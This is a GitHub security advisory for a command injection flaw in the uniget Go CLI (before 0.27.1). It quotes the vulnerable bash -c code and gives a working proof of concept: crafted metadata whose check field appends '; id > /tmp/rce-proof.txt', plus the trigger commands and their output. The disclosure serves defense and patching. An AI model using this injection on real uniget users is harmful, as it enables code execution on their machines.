Skip to content

uniget is Vulnerable to Command Injection in tool.Check Leading to Arbitrary Code Execution

High severity GitHub Reviewed Published May 8, 2026 in uniget-org/cli • Updated May 13, 2026

Package

gomod gitlab.com/uniget-org/cli (Go)

Affected versions

< 0.27.1

Patched versions

0.27.1

Description

I discovered a command injection vulnerability in uniget that allows arbitrary command execution through the metadata loading and version check mechanism.

Summary

A command injection vulnerability exists in uniget due to unsafe execution of the check field from metadata files using /bin/bash -c. Because the check field is loaded directly from untrusted JSON metadata without validation or sanitization, an attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations such as describe, install, update, or inspect are performed.

This vulnerability can lead to arbitrary code execution with the privileges of the user running uniget.

Details

The vulnerable code is located in:

tool.go:250

Vulnerable function:

func (tool *Tool) RunVersionCheck() (string, error) {
    cmd := exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'")
    version, err := cmd.Output()
    return string(version), nil
}

The issue occurs because the tool.Check field is populated directly from metadata JSON files without validation.

Related structure:

type Tool struct {
    Check string
}

Metadata loading uses json.Unmarshal() to populate the Tool struct directly from JSON metadata, allowing attacker-controlled input to reach the shell execution sink.

Because /bin/bash -c is used, shell metacharacters such as ;, &&, |, $(), and backticks are interpreted by the shell, enabling arbitrary command injection.

PoC

Step 1 — Verify the vulnerable binary:

/tmp/uniget-bin --version

Output:

uniget version main

Step 2 — Create malicious metadata cache:

mkdir -p ~/.local/var/cache/uniget

cat > ~/.local/var/cache/uniget/metadata.json << 'EOF'
{
  "tools": [
    {
      "name": "evil-tool",
      "version": "1.0.0",
      "binary": "${target}/bin/evil-tool",
      "check": "echo '1.0.0'; id > /tmp/rce-proof.txt",
      "tags": ["test"],
      "description": "RCE test",
      "repository": "https://example.com",
      "license": {
        "name": "MIT",
        "link": "https://example.com"
      },
      "sources": [
        {
          "registry": "ghcr.io",
          "repository": "uniget-org/tools"
        }
      ]
    }
  ]
}
EOF

Step 3 — Create placeholder binary:

mkdir -p ~/.local/usr/local/bin

cat > ~/.local/usr/local/bin/evil-tool << 'EOF'
#!/bin/bash
echo "placeholder"
EOF

chmod +x ~/.local/usr/local/bin/evil-tool

Step 4 — Trigger the vulnerable workflow:

/tmp/uniget-bin describe evil-tool --prefix ~/.local

Application output:

Name: evil-tool
  Description: RCE test
  Repository: https://example.com
  Version: 1.0.0
  Check: <echo '1.0.0'; id > /tmp/rce-proof.txt>

Step 5 — Verify arbitrary command execution:

ls -la /tmp/rce-proof.txt
cat /tmp/rce-proof.txt

Actual output:

-rw-rw-r-- 1 w4nn4d13 w4nn4d13 253 May 7 23:53 /tmp/rce-proof.txt

uid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),106(bluetooth),108(lpadmin),112(kaboxer),113(wireshark),128(docker)

image

image

This confirms arbitrary command execution through the untrusted check field loaded from metadata.

Impact

This issue allows arbitrary command execution on systems running uniget when processing malicious metadata.

An attacker may be able to:

  • Execute arbitrary shell commands
  • Exfiltrate sensitive files or environment variables
  • Install malware or backdoors
  • Modify or delete accessible files
  • Establish persistence on the victim machine
  • Compromise CI/CD environments using uniget automation

Any user importing or processing attacker-controlled metadata may be impacted.

Suggested Remediation

Avoid using /bin/bash -c with untrusted input.

Instead of:

exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'")

consider executing fixed binaries and arguments directly without invoking a shell.

For example:

exec.Command(binary, "--version")

or sanitize and strictly validate allowed commands before execution.

Thank you for your time and for maintaining the project. Please let me know if you need any additional information or a more detailed proof of concept.

References

@nicholasdille nicholasdille published to uniget-org/cli May 8, 2026
Published to the GitHub Advisory Database May 13, 2026
Reviewed May 13, 2026
Last updated May 13, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

EPSS score

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

CVE ID

CVE-2026-45152

GHSA ID

GHSA-qqq4-5773-pmw5

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.